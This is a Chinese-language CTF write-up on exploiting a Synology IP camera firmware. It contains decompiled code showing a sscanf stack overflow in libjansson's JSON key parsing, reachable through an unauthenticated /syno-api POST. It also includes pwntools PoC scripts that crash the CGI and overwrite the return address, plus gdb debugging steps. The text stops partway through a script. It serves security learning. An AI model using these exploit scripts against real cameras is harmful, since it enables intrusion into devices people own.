首页
社区
课程
招聘
[原创]RWCTF 6th - Let’s party in the house
发表于: 2024-3-12 10:29 3116

[原创]RWCTF 6th - Let’s party in the house

2024-3-12 10:29
3116

RWCTF 6th - Let’s party in the house

score:378 solve_count:6

pwn, Panasonic (PCSL), difficulty:Schrödinger

1
2
Oh, no, in the middle of our party, there was a strange baby cry coming from the IP Camera.
There is only one service in the device, can you figure out the baby crying? flag path: /flag

nc 47.88.48.133 7777

https://github.com/chaitin/Real-World-CTF-6th-Challenges

题目配置&启动

给了一个run.sh,直接启动,题目环境就可以跑起来。账号密码是root:root,启动之后一直有杂乱的信息,搜索之后发现有telnetd,重新打包一下rcS,在rcS里加上telnetd -p 8802 -l /bin/sh,此时8802就会开启telnet,在docker里加上映射之后nc 127.0.0.1 8802即可获得shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/sh
# source profile_prjcfg on /etc/init.d/rcS (init script cycle) and /etc/profile (after startup cycle)
source /etc/profile_prjcfg
telnetd -p 9901 -l /bin/sh
 
 
# fstab devices create
mount -a
 
echo "ker" > /proc/nvt_info/bootts
echo "rcS" > /proc/nvt_info/bootts
 
# To run /etc/init.d/S* script
for initscript in /etc/init.d/S[0-9][0-9]*
do
    if [ -x $initscript ]; then
        echo "[Start] $initscript"
        $initscript
    fi
done
 
echo "rcS" > /proc/nvt_info/bootts
telnetd -p 8802 -l /bin/sh
1
2
3
4
5
6
7
8
#!/bin/sh
qemu-system-arm \
    -m 1024 \
    -M virt,highmem=off \
     -kernel zImage \
        -initrd player.cpio \
    -nic user,hostfwd=tcp:0.0.0.0:8801-:80,hostfwd=tcp:0.0.0.0:8802-:8802 \
     -nographic
1
2
3
4
5
6
450 synodebu  0:01 telnetd -p 8802 -l /bin/sh
  453 synodebu  0:00 -sh
  545 synodebu  1:46 /bin/webd
 2452 synodebu  0:00 /bin/sh
 2717 synodebu  0:00 /bin/sh
16809 synodebu  0:00 ps

漏洞分析

发现这个设备在Pwn2Own 2023上被利用,并且TeamT5公开了一些细节,在/lib/libjansson.so.4.7.0中进行json代码解析的时候发生了溢出漏洞,经过对比发现比赛版本正好存在此漏洞

在parse_object这个函数中,解析key的时候发生了溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
json_t *__fastcall parse_object(lex_t *lex, int flags, json_error_t *error)
{
  int v4; // r0
  char v9[32]; // [sp+14h] [bp-40h] BYREF
  char v10[12]; // [sp+34h] [bp-20h] BYREF
  size_t len; // [sp+40h] [bp-14h] BYREF
  int value; // [sp+44h] [bp-10h]
  void *key; // [sp+48h] [bp-Ch]
  json_t *object; // [sp+4Ch] [bp-8h]
 
  object = j_json_object();
  if ( !object )
    return 0;
  lex_scan(lex, error);
  if ( lex->token == '}' )
    return object;
  while ( 1 )
  {
    if ( lex->token != 0x100 )
    {
      error_set(error, lex, "string or '}' expected");
      goto LABEL_28;
    }
    key = lex_steal_string(lex, &len);
    if ( !key )
      return 0;
    if ( memchr(key, 0, len) )
    {
      jsonp_free(key);
      error_set(error, lex, "NUL byte in object key not supported");
      goto LABEL_28;
    }
    v10[0] = 0;
    _isoc99_sscanf(key, "%s %s", v9, v10);      // stack-based buffer overflow
    if ( (flags & 1) != 0 && j_json_object_get(object, v9) )
    {
      jsonp_free(key);
      error_set(error, lex, "duplicate object key");
      goto LABEL_28;
    }
    lex_scan(lex, error);
    if ( lex->token != 58 )
    {
      jsonp_free(key);
      error_set(error, lex, "':' expected");
      goto LABEL_28;
    }
    lex_scan(lex, error);
    value = parse_value(lex, flags, error);
    if ( !value )
    {
      jsonp_free(key);
      goto LABEL_28;
    }
    if ( v10[0] )
    {
      v4 = sub_6A04(v10);
      *(value + 8) = v4;
    }
    else
    {
      *(value + 8) = 0;
    }
    if ( sub_5170(object, v9, value) )
    {
      jsonp_free(key);
      json_decref(value);
      goto LABEL_28;
    }
    json_decref(value);
    jsonp_free(key);
    lex_scan(lex, error);
    if ( lex->token != ',' )
      break;
    lex_scan(lex, error);
  }
  if ( lex->token == '}' )
    return object;
  error_set(error, lex, "'}' expected");
LABEL_28:
  json_decref(object);
  return 0;
}

发现了漏洞点之后需要去找触发此漏洞的方式,经过与libjansson这个公开json解析库进行源码对比的时候发现parse_object会被parse_value调用,parse_value会被parse_json调用,最后parse_json会被json_loads/json_loadb/json_loadf/json_loadfd/json_load_callback这5个函数调用

最后在grep筛选的时候只有json_loads这个接口在服务器中被调用,所以调用链为parse_object->parse_value->json_loads

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Binary file ./bin/synoaid matches
Binary file ./bin/diag matches
Binary file ./bin/systemd matches
Binary file ./bin/webd matches
Binary file ./bin/webd.id0 matches
Binary file ./bin/central_server matches
Binary file ./bin/webd.i64 matches
Binary file ./bin/synoactiond matches
Binary file ./www/uistrings/uistrings.cgi.i64 matches
Binary file ./www/uistrings/uistrings.cgi matches
Binary file ./www/uistrings/uistrings.cgi.id0 matches
Binary file ./www/cgi2/factory.cgi.i64 matches
Binary file ./www/cgi2/fwupgrade.cgi matches
Binary file ./www/cgi2/config.cgi matches
Binary file ./www/cgi2/factorydefault.cgi matches
Binary file ./www/cgi2/param.cgi matches
Binary file ./www/cgi2/factory.cgi matches
Binary file ./www/camera-cgi/synocam_fw_upgrade.cgi.i64 matches
Binary file ./www/camera-cgi/synocam_param.cgi.i64 matches
Binary file ./www/camera-cgi/synocam_fw_upgrade.cgi matches
Binary file ./www/camera-cgi/synocam_param.cgi matches
Binary file ./www/camera-cgi/synocam_log_retrieve.cgi matches
Binary file ./www/camera-cgi/synocam_reset.cgi matches
Binary file ./www/camera-cgi/synocam_system_report.cgi matches
Binary file ./lib/libjansson.so.4.7.0 matches
Binary file ./lib/libjansson.so.4.7.0.id0 matches
Binary file ./lib/libutil.so matches
Binary file ./opt/onvif/wsdd matches
Binary file ./opt/onvif/onvifd matches

有很多都调用了json_loads,无法确定哪一个,发现webd是这个摄像头的webserver,所以对其进行简要分析一下

在webd中发现了处理函数sub_35CEC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __fastcall handle_main(int *a1)
{
  int v2; // r0
  int v3; // r0
  int v4; // r0
  int v5; // r0
  int v6; // r0
  int v7; // r0
  int v8; // r0
  int v9; // r0
 
  sub_30F24();
  sub_30E04();
  v2 = open("/tmp/ConnInfo", 193, 420);
  if ( v2 == -1 )
  {
    if ( *_errno_location() != 17 )
      fprintf(stderr, "Failed to touch ConnInfo file [%m].\n");
  }
  else
  {
    close(v2);
  }
  sub_24C64(a1, "/syno-api", (int)sub_35CEC, 0);
  sub_24D94((int)a1, "/heartbeat/connect", (int)sub_331F4, (char)sub_33EDC, (int)sub_2D6CC, (int)sub_31BDC, 0);
  sub_24D94((int)a1, "/webstream/connect", (int)sub_3323C, (char)sub_2E97C, (int)sub_2D360, (int)sub_2D870, 0);
  sub_24D94((int)a1, "/aievent/connect", (int)sub_33284, (char)sub_2E8F4, (int)sub_2E7DC, (int)sub_2D8F8, 0);
  v3 = sub_2F5DC();
  v4 = sub_2F670(v3);
  v5 = sub_30BB4(v4);
  v6 = sub_30C48(v5);
  sub_2F704(v6);
  v7 = sub_2F798();
  v8 = sub_30CDC(v7);
  v9 = sub_30D70(v8);
  return sub_30E90(v9);
}

sub_35CEC这里主要进行路由请求到后端不同的cgi处理功能点,那就需要判断出是否有功能点存在未授权访问,如果这个函数中没有找到路由请求,那就会调用/www/camera-cgi/synocam_param.cgi这个cgi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
int __fastcall sub_35CEC(_DWORD *a1)
{
......
  method = sub_194D8(a1);
  s1 = v62;
  v63 = v65;
  v66[0] = v67;
  v61 = 0;
  v62[0] = 0;
  v64 = 0;
  v65[0] = 0;
  v66[1] = 0;
  v67[0] = 0;
  memset(v90, 0, sizeof(v90));
  v3 = sub_8B548((int)"Custom.Activated");
  v4 = (char *)method[4];
  v5 = strlen("/syno-api");
  if ( strncmp(v4, "/syno-api", v5) )
  {
LABEL_45:
    v9 = 400;
    goto LABEL_46;
  }
  v6 = (const char *)*method;
  if ( strcmp((const char *)*method, "GET") && strcmp(v6, "PUT") && strcmp(v6, "POST") && strcmp(v6, "DELETE") )
  {
    std::string::assign(v66, "Method Not Allowed");
    v9 = 405;
    goto LABEL_46;
  }
  sub_31A40(v68, v4);
  std::string::operator=(&s1, v68);
  if ( v68[0] != &v69 )
    operator delete(v68[0]);
  if ( v3 || sub_3CC70((int)&unk_C1964, (int)&s1) || sub_3CC70((int)&unk_C1980, (int)&s1) )
  {
LABEL_7:
    path = (char *)method[4];
    if ( !strcmp(path, "/syno-api/security") || !strcmp(path, "/syno-api/security/encryption_key") )
    {
    .....
 
      else
      {
        if ( !strcmp(path, "/syno-api/session") && !strcmp((const char *)*method, "GET") )
        {
          if ( sub_33B2C(method) )
            sub_337D4((int)v76);
          else
            sub_31A40(v76, "Invalid session");
          std::string::operator=(&v63, v76);
          if ( v76[0] != &v77 )
            operator delete(v76[0]);
          sub_31A40(&nptr, "");
          send_page(a1, 200, &v63, &nptr);
          v48 = nptr;
          if ( nptr == (char *)v88 )
            goto LABEL_15;
          goto LABEL_146;
        }
        ......
            if ( strcmp(path, "/syno-api/camera_cap") || strcmp((const char *)*method, "GET") )
            {
              execve_cgi((int)a1, "/www/camera-cgi/synocam_param.cgi");
              goto LABEL_15;
            }
            file = json_load_file("/www/camera-cgi/synocam_cap.json", 4);
            v56 = file;
            if ( file )
            {
              sub_50DB4(&v83, file);
              sub_31A40(&nptr, "");
              send_page(a1, 200, &v83, &nptr);
              if ( nptr != (char *)v88 )
                operator delete(nptr);
              if ( v83 != v85 )
                operator delete(v83);
              pgo_free(v56);
              goto LABEL_15;
            }
            sub_4E38C(
              0,
              (int)"MID/BC500/webservice.cpp",
              3055,
              (int)"SynoHandler",
              (int)"System",
              -1,
              "pgo_load_file [%s] load failed.\n");
            goto LABEL_45;
          }
          v84 = 0;
          LOBYTE(v85[0]) = 0;
          v83 = v85;
          memset(v91, 0, sizeof(v91));
          for ( i = sub_1BA70((int)a1); i > 0; i = sub_1BA70((int)a1) )
          {
            v20 += i;
            if ( v20 > 0x100000 )
              break;
            nptr = (char *)v88;
            std::string::_M_construct<char const*>((int)&nptr, v91);
            std::string::_M_append(&v83, nptr, v87);
            if ( nptr != (char *)v88 )
              operator delete(nptr);
  ......
  return v9;
}

所以现在看一下有哪些路由请求可以未授权访问,一开始我是用自己写的脚本来探测的,但是后面看到了这位师傅的思路之后发现用到dirsearch,查看之后发现这个工具远比我自己写的脚本好用,所以我用dirsearch测试了一下

grep筛选的时候发现vue.bundle.js这个js里存在很多api url,我简单的写了个脚本抓取了一下

1
2
3
4
5
6
7
8
9
import re
 
with open('vue.bundle.js', 'r') as f:
    text = f.read()
 
urls = re.findall(r'url:"(.*?)"', text)
 
for i in urls:
    print(i)

同时我也把整个web目录的所有文件的url都集合到了wordlist.txt里,然后使用dirsearch扫了一下,扫描的时候排除了404,301,401

之后发现了一些url是存在未授权访问的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
python3 dirsearch.py -u http://127.0.0.1:8801/ -w /your/path/wordlist.txt -x 404,301,401
 
[01:33:21] 200 -   24KB - /uistrings/cht/strings                           
[01:33:21] 200 -   24KB - /uistrings/chs/strings                           
[01:33:21] 200 -   27KB - /uistrings/enu/strings                           
[01:33:22] 200 -    6MB - /uistrings/uistrings.cgi.i64                     
[01:33:22] 200 -   28KB - /uistrings/dan/strings
[01:33:22] 200 -   34KB - /uistrings/jpn/strings                           
[01:33:22] 200 -   29KB - /uistrings/ptb/strings
[01:33:22] 200 -   28KB - /uistrings/nor/strings
[01:33:22] 200 -   32KB - /uistrings/hun/strings                           
[01:33:22] 200 -   29KB - /uistrings/ita/strings
[01:33:23] 200 -   29KB - /uistrings/sve/strings                           
[01:33:23] 200 -   31KB - /uistrings/ger/strings
[01:33:22] 200 -   30KB - /uistrings/krn/strings                           
[01:33:23] 200 -   31KB - /uistrings/plk/strings                           
[01:33:23] 200 -   32KB - /uistrings/fre/strings
[01:33:23] 200 -   30KB - /uistrings/ptg/strings
[01:33:23] 200 -   29KB - /uistrings/uistrings.cgi
[01:33:23] 200 -   30KB - /uistrings/nld/strings
[01:33:24] 200 -   48KB - /uistrings/rus/strings                           
[01:33:24] 200 -   61KB - /uistrings/tha/strings                           
[01:33:24] 200 -   30KB - /uistrings/trk/strings
[01:33:23] 200 -   30KB - /uistrings/spn/strings                           
[01:33:23] 200 -   29KB - /uistrings/csy/strings                           
[01:33:25] 200 -    6KB - /crypto.min.js                                   
[01:33:25] 200 -    2MB - /vue.bundle.js                                   
[01:33:25] 200 -   15B  - /syno-api/session                                
[01:33:25] 200 -    6B  - /syno-api/activate
[01:33:25] 200 -    9B  - /syno-api/security/info/model
[01:33:25] 200 -    9B  - /syno-api/security/info/name                     
[01:33:26] 200 -   14B  - /syno-api/maintenance/firmware/version           
[01:33:26] 200 -    1MB - /style/main.css                                  
[01:33:27] 200 -    7B  - /syno-api/security/info/language                  
[01:33:27] 200 -   21B  - /syno-api/security/info/mac
[01:33:27] 200 -    6B  - /syno-api/security/network/dhcp
[01:33:27] 200 -  105B  - /syno-api/security/info
[01:33:27] 200 -    4B  - /syno-api/security/info/serial_number

看到了一些/syno-api的url,而这些url会进入synocam_param.cgi,现在分析一下synocam_param.cgi

根据format判断返回的格式,然后根据请求方法使用不同函数处理请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int __fastcall sub_7BC84(json_t *json, volatile size_t a2, json_t *a3)
{
  const char *v3; // r0
  volatile size_t refcount; // r4
  const char *v5; // r0
  volatile size_t v7; // r5
  int *v8; // r6
  const char *v9; // r0
  char *method; // [sp+10h] [bp-1Ch]
 
  a3->type = (json_type)json;
  a3->refcount = a2;
  v3 = (const char *)sub_E19C(json, "format");
  a3[1].type = sub_725A8(v3);
  if ( a3[1].type == JSON_INTEGER )
  {
    refcount = a3->refcount;
    v5 = (const char *)sub_E19C(json, "format");
    send_page(refcount, 400, "Unknown output format[%s]!", v5);
    return -1;
  }
  else
  {
    method = (char *)sub_E174((int)json);
    if ( method && !strcasecmp(method, "GET") )
    {
      handle_get((int)a3);
    }
    else if ( method && !strcasecmp(method, "PUT") )
    {
      handle_put(a3);
    }
    else if ( method && !strcasecmp(method, "POST") )
    {
      handle_post(a3);
    }
    else
    {
      if ( !method || strcasecmp(method, "DELETE") )
      {
        send_page(a3->refcount, 400, "Wrong request method[%s]!", method);
        return -1;
      }
      hanlde_delete(a3);
    }
    if ( off_B8218 != &dword_C8 )
    {
      v7 = a3->refcount;
      v8 = off_B8218;
      v9 = (const char *)std::string::c_str(&unk_B82F4);
      send_page(v7, v8, "%s", v9);
    }
    sub_80A70(&unk_B830C);
    return 0;
  }
}

handle_post中,发现传入的数据会进入final_json_load,而final_json_load里会调用json_loads

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __fastcall sub_79FEC(_DWORD *a1)
{
......
  v1 = (const char *)sub_E19C(*a1, "json");
  v24 = final_json_load(v1);
  file = json_load_file("/www/camera-cgi/synocam_config.json", 0, 0);
  v2 = getenv("SCRIPT_NAME");
  v3 = strchr(v2 + 1, 47);
......
}
 
json_t *__fastcall final_json_load(const char *a1)
{
  json_t *v5; // [sp+Ch] [bp-308h]
  char v6[256]; // [sp+10h] [bp-304h] BYREF
  char s[516]; // [sp+110h] [bp-204h] BYREF
 
  memset(s, 0, 0x200u);
  memset(v6, 0, sizeof(v6));
  if ( !a1 )
    return 0;
  v5 = json_loads(a1, 4u, 0);
  if ( (!v5 || v5->type == JSON_NULL) && sub_10D90(a1, s, 512) == 1 )
    v5 = json_loads(s, 4u, 0);
  if ( (!v5 || v5->type == JSON_NULL) && !strchr(a1, 34) )
  {
    snprintf(v6, 0x100u, "\"%s\"", a1);
    return json_loads(v6, 4u, 0);
  }
  return v5;
}

至此漏洞分析完成

Poc&调试

我编写了如下Poc,发现可以让目标crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
 
context(arch='arm', os='linux', log_level='debug')
 
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
lg = lambda x : print('\033[32m' + str(x) + '\033[0m')
 
context.terminal = ['tmux','splitw','-h']
 
ip = '127.0.0.1'
port = 8801
 
r = remote(ip, port)
 
p1 = b'a ' + b'a' * 0x30
 
value = b'""'
json = b'{"' + p1 + b'": ""}'
li(json)
 
rn = b'\r\n'
 
p3 = b''
p3 += b'POST /syno-api/security/info/mac HTTP/1.1' + rn
p3 += (b"Content-Length: %d" % len(json)) +rn
p3 += b'Host: 127.0.0.1:8801' + rn
p3 += b'sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"' + rn
p3 += b'Accept: text/plain, */*; q=0.01' + rn
p3 += b'Content-Type: application/json' + rn
p3 += b'X-Requested-With: XMLHttpRequest' + rn
p3 += b'sec-ch-ua-mobile: ?0' + rn
p3 += b'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36' + rn
p3 += b'sec-ch-ua-platform: "macOS"' + rn
p3 += b'Origin: http://127.0.0.1:8801' + rn
p3 += b'Sec-Fetch-Site: same-origin' + rn
p3 += b'Sec-Fetch-Mode: cors' + rn
p3 += b'Sec-Fetch-Dest: empty' + rn
p3 += b'Referer: http://127.0.0.1:8801/' + rn
p3 += b'Accept-Encoding: gzip, deflate' + rn
p3 += b'Accept-Language: zh-CN,zh;q=0.9' + rn
p3 += b'Cookie: sid=sBmrHHr4XX4TKaIjv0Vw6L3I15y46m47DO9qeF79CPjquIMOAHX6ygmRJ2AaNleg' + rn
p3 += b'Connection: close' + rn
p3 += rn
p3 += json
 
li('[+] sendling payload')
r.send(p3)
 
r.interactive()

接着需要去调试一下这个Poc,看一下能否控制程序执行流,下载对应架构的gdbserver到文件系统中,然后find . | cpio -o --format=newc > ../player.cpio打包一下,重新启动就可以使用gdbserver了

添加gdbserver的映射端口

1
2
3
4
5
6
7
8
#!/bin/sh
qemu-system-arm \
    -m 1024 \
    -M virt,highmem=off \
     -kernel zImage \
        -initrd player.cpio \
    -nic user,hostfwd=tcp:0.0.0.0:8801-:80,hostfwd=tcp:0.0.0.0:8802-:8802,hostfwd=tcp:0.0.0.0:1234-:1234 \
     -nographic

调试方法有很多种,qemu调试cgi、fork + execute调试、patch、这里已经发现了漏洞,直接采用真实的远程环境来调试exp

采取GDB调试fork+exec创建的子进程的方法来调试

attach到webd这个pid中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/ # ps
ps
PID   USER     TIME  COMMAND
    1 synodebu  1:18 init
    2 synodebu  0:00 [kthreadd]
    3 synodebu  0:00 [rcu_gp]
    4 synodebu  0:00 [rcu_par_gp]
    5 synodebu  0:00 [slub_flushwq]
    7 synodebu  0:00 [kworker/0:0H-ev]
    9 synodebu  0:00 [mm_percpu_wq]
   10 synodebu  5:58 [ksoftirqd/0]
   11 synodebu  1h16 [rcu_sched]
   12 synodebu  0:00 [migration/0]
   13 synodebu  0:00 [cpuhp/0]
   14 synodebu  0:00 [kdevtmpfs]
   15 synodebu  0:00 [inet_frag_wq]
   16 synodebu  2:43 [kworker/0:1-eve]
   17 synodebu  0:00 [oom_reaper]
   18 synodebu  0:00 [writeback]
   19 synodebu  4:13 [kcompactd0]
   35 synodebu  0:00 [kblockd]
   36 synodebu  0:00 [ata_sff]
   37 synodebu  0:00 [edac-poller]
   38 synodebu  0:00 [devfreq_wq]
   39 synodebu  0:00 [watchdogd]
   40 synodebu  0:00 [kworker/u2:1-ev]
   41 synodebu  0:00 [rpciod]
   42 synodebu  0:00 [kworker/0:1H]
   43 synodebu  0:00 [kworker/u3:0]
   44 synodebu  0:00 [xprtiod]
   45 synodebu  0:00 [kswapd0]
   46 synodebu  0:00 [kworker/u2:2-ev]
   47 synodebu  0:00 [nfsiod]
   50 synodebu  0:00 [mld]
   51 synodebu  0:00 [ipv6_addrconf]
   52 synodebu  0:00 [kworker/0:2]
  129 synodebu  0:00 inetd
  208 synodebu  0:00 /bin/kmesg_monitor
  210 synodebu  7h57 /bin/systemd
  232 synodebu 12:11 ntpdaemon
  240 synodebu 17:31 syslogd -b 1 -s 200 -n -f /tmp/syslogd.conf
  318 synodebu  0:41 wpa_supplicant -ieth0 -Dwired -c /tmp/wpa_supplicant-eth0.
  322 synodebu  0:05 zcip -f eth0 /bin/zcipnotify
  330 synodebu  1:00 dhcpcd: eth0 [ip4]
  363 synodebu 11h34 /bin/streamd
  367 synodebu 34:09 /bin/central_server
  369 synodebu 33:35 /bin/synoactiond
  375 synodebu 20:25 /bin/recorder
  428 synodebu  0:01 telnetd -p 9901 -l /bin/sh
  431 synodebu  0:00 init
  559 synodebu  5h33 /bin/webd
 4853 synodebu  0:00 /bin/sh
 4858 synodebu  0:00 ps
 / # gdbserver :1234 --attach 559
gdbserver :1234 --attach 559
Attached; pid = 559
Listening on port 123

用gdb-multiarch连上来之后就可以发现已经可以调试webd了

1
2
3
4
5
pwndbg> set follow-fork-mode parent                                                                     
pwndbg> c                                                                                               
Continuing.                                                                                              
[Detaching after vfork from child process 6200]                                                    
[Detaching after fork from child process 6201]

有个vfork,跳过这个vfork,直接捕获一下fork

1
2
3
pwndbg> set follow-fork-mode parent                                                                     
pwndbg> catch fork
pwndbg> c

此时vfork已经被跳过,此时已经到了fork这里,跟进cgi程序,捕获exec之后就可以发现已经到了synocam_param.cgi,但是会卡住,虽然会卡住,但是不影响执行命令,回车之后继续Continuing,此时发现目标crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> set follow-fork-mode child                                                                     
pwndbg> catch exec
pwndbg> c
......
Thread 2.1 "synocam_param.c" hit Catchpoint 2 (exec'd /www/camera-cgi/synocam_param.cgi), 0x76fcea00 in ?? () from target:/lib/ld-linux-armhf.so.3
 
Continuing.
Reading /lib/libjansson.so.4 from remote target...
Reading /lib/libutil.so from remote target...
Reading /lib/libpthread.so.0 from remote target...
Reading /lib/libcurl.so.4 from remote target...
Reading /lib/libcrypto.so.1.1 from remote target...
Reading /lib/libssl.so.1.1 from remote target...
Reading /lib/libz.so.1 from remote target...
Reading /lib/libdl.so.2 from remote target...
Reading /usr/lib/libstdc++.so.6 from remote target...
Reading /lib/libm.so.6 from remote target...
Reading /lib/libgcc_s.so.1 from remote target...
Reading /lib/libc.so.6 from remote target...
 
Thread 2.1 "synocam_param.c" received signal SIGSEGV, Segmentation fault.
0x76fb7f88 in ?? () from target:/lib/libjansson.so.4

crash之后的状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────
*R0   0x7efff240 ◂— 'aaaa'
 R1   0x0
 R2   0x0
*R3   0x61616161 ('aaaa')
*R4   0x4b7954 ◂— 0xb77f4
 R5   0x0
*R6   0x407464 ◂— mov fp, #0
 R7   0x0
 R8   0x0
 R9   0x0
*R10  0x4b7954 ◂— 0xb77f4
*R11  0x7efff144 —▸ 0x7efff15c —▸ 0x76fb4c40 ◂— ldr r3, [fp, #-0x48]
 R12  0x0
*SP   0x7efff138 ◂— 0x0
*PC   0x76fb7f88 ◂— strb r2, [r3]
────────────────────────────────────[ DISASM / arm / set emulate on ]─────────────────────────────────────
 ► 0x76fb7f88    strb   r2, [r3]
   0x76fb7f8c    nop
   0x76fb7f90    add    sp, fp, #0
   0x76fb7f94    pop    {fp}
   0x76fb7f98    bx     lr
 
   0x76fb7f9c    str    fp, [sp, #-4]!
   0x76fb7fa0    add    fp, sp, #0
   0x76fb7fa4    sub    sp, sp, #0xc
   0x76fb7fa8    str    r0, [fp, #-8]
   0x76fb7fac    ldr    r3, [fp, #-8]
   0x76fb7fb0    ldr    r3, [r3]

漏洞利用

为了方便调试,直接写个脚本来捕获cgi

1
2
3
4
5
6
7
target remote :1234
set follow-fork-mode parent
catch fork
c
set follow-fork-mode child
catch exec
c

此时卡住之后发现cgi没有被彻底载入

1
2
3
4
5
6
7
8
9
10
11
12
vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
     Start        End Perm     Size Offset File
  0x400000   0x4a7000 r-xp    a7000      0 /www/camera-cgi/synocam_param.cgi
  0x4b7000   0x4b9000 rw-p     2000  a7000 /www/camera-cgi/synocam_param.cgi
0x76fce000 0x76fee000 r-xp    20000      0 /lib/ld-2.30.so
0x76ffb000 0x76ffc000 r-xp     1000      0 [sigpage]
0x76ffc000 0x76ffd000 r--p     1000      0 [vvar]
0x76ffd000 0x76ffe000 r-xp     1000      0 [vdso]
0x76ffe000 0x77000000 rw-p     2000  20000 /lib/ld-2.30.so
0x7efdf000 0x7f000000 rw-p    21000      0 [stack]
0xffff0000 0xffff1000 r-xp     1000      0 [vectors]

在0x7464这里下断点之后就可以看到/lib/libjansson.so.4.7.0的地址,此时跟据这个基址在漏洞点下一个断点,就可以调试漏洞点了

1
2
3
4
5
6
7
8
9
10
11
12
......
0x76fae000 0x76fbd000 r-xp     f000      0 /lib/libjansson.so.4.7.0
0x76fbd000 0x76fcc000 ---p     f000   f000 /lib/libjansson.so.4.7.0
0x76fcc000 0x76fcd000 r--p     1000   e000 /lib/libjansson.so.4.7.0
0x76fcd000 0x76fce000 rw-p     1000   f000 /lib/libjansson.so.4.7.0
......
pwndbg> b *0x76fae000 + 0x6BE0
Breakpoint 4 at 0x76fb4be0
pwndbg> c
Continuing.
 
Thread 2.1 "synocam_param.c" hit Breakpoint 4, 0x76fb4be0 in ?? () from target:/lib/libjansson.so.4
1
2
3
4
5
6
7
8
9
10
11
pwndbg> b *0x76fae000 + 0x6BE4
Breakpoint 5 at 0x76fb4be4
pwndbg> c
Continuing
......
pwndbg> x/20wx 0x7efff174
0x7efff174:     0x76fd0061      0x00000001      0x76ff7000      0x7efff168
0x7efff184:     0x7bfff210      0x7b000001      0x00000001      0x7efff1ab
0x7efff194:     0x61616161      0x61616161      0x61616161      0x61616161
0x7efff1a4:     0x61616161      0x61616161      0x61616161      0x61616161
0x7efff1b4:     0x61616161      0x61616161      0x61616161      0x61616161

调试之后,如下Poc就可以劫持返回地址为0x62626262了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
 
context(arch='arm', os='linux', log_level='debug')
 
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
lg = lambda x : print('\033[32m' + str(x) + '\033[0m')
 
context.terminal = ['tmux','splitw','-h']
 
ip = '127.0.0.1'
port = 8801
 
r = remote(ip, port)
 
p1 = b'a ' + b'a' * (0x60 + 0x24) + b'b' * 4
 
value = b'""'
json = b'{"' + p1 + b'": ""}'
li(json)
 
rn = b'\r\n'
 
p3 = b''
p3 += b'POST /syno-api/security/info/mac HTTP/1.1' + rn
p3 += (b"Content-Length: %d" % len(json)) +rn
p3 += b'Host: 127.0.0.1:8801' + rn
p3 += b'sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"' + rn
p3 += b'Accept: text/plain, */*; q=0.01' + rn
p3 += b'Content-Type: application/json' + rn
p3 += b'X-Requested-With: XMLHttpRequest' + rn
p3 += b'sec-ch-ua-mobile: ?0' + rn
p3 += b'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36' + rn
p3 += b'sec-ch-ua-platform: "macOS"' + rn
p3 += b'Origin: http://127.0.0.1:8801' + rn
p3 += b'Sec-Fetch-Site: same-origin' + rn
p3 += b'Sec-Fetch-Mode: cors' + rn
p3 += b'Sec-Fetch-Dest: empty' + rn
p3 += b'Referer: http://127.0.0.1:8801/' + rn
p3 += b'Accept-Encoding: gzip, deflate' + rn
p3 += b'Accept-Language: zh-CN,zh;q=0.9' + rn
